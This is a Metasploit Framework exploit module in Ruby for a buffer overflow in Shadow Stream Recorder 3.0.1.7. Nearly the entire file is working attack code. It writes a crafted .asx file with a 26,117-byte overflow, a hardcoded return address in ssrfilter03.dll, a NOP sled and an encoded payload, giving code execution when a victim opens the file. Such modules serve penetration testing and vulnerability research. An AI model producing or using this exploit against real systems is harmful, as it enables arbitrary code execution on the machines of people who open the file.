##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'Shadow Stream Recorder 3.0.1.7 Buffer Overflow',
   'Description'     => %q{
    This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.
    Using the application to open a specially crafted asx file, a buffer
    overflow may occur to allow arbitrary code execution under the context
    of the user.
   },
   'License'         => MSF_LICENSE,
   'Author'          =>
    [
     'AlpHaNiX <alpha[at]hacker.bz>',  # Original .m3u exploit
     'b0telh0 <me[at]gotgeek.com.br>'  # MSF Module and .asx exploit
    ],
   'References'      =>
    [
     [ 'BID', '34864' ],
     [ 'EDB', '11957' ]
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true'
    },
   'Platform'        => 'win',
   'Payload'         =>
    {
     'Space' => 2000,
     'BadChars' => "\x00\x09\x0a",
     'StackAdjustment' => -3500
    },
   'Targets'         =>
    [
     [ 'Windows Universal',
      {
       # push esp - ret ssrfilter03.dll
       'Ret' => 0x10035706,
       'Offset' => 26117
      }
     ],
    ],
   'Privileged'      => false,
   'DisclosureDate'  => 'Mar 29 2010',
   'DefaultTarget'   => 0))

  register_options(
   [
    OptString.new('FILENAME', [true, 'The file name.', 'msf.asx'])
   ], self.class)

 end

 def exploit

  buffer = "http://"
  buffer << rand_text_alpha_upper(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << make_nops(40)
  buffer << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(buffer)
 end

end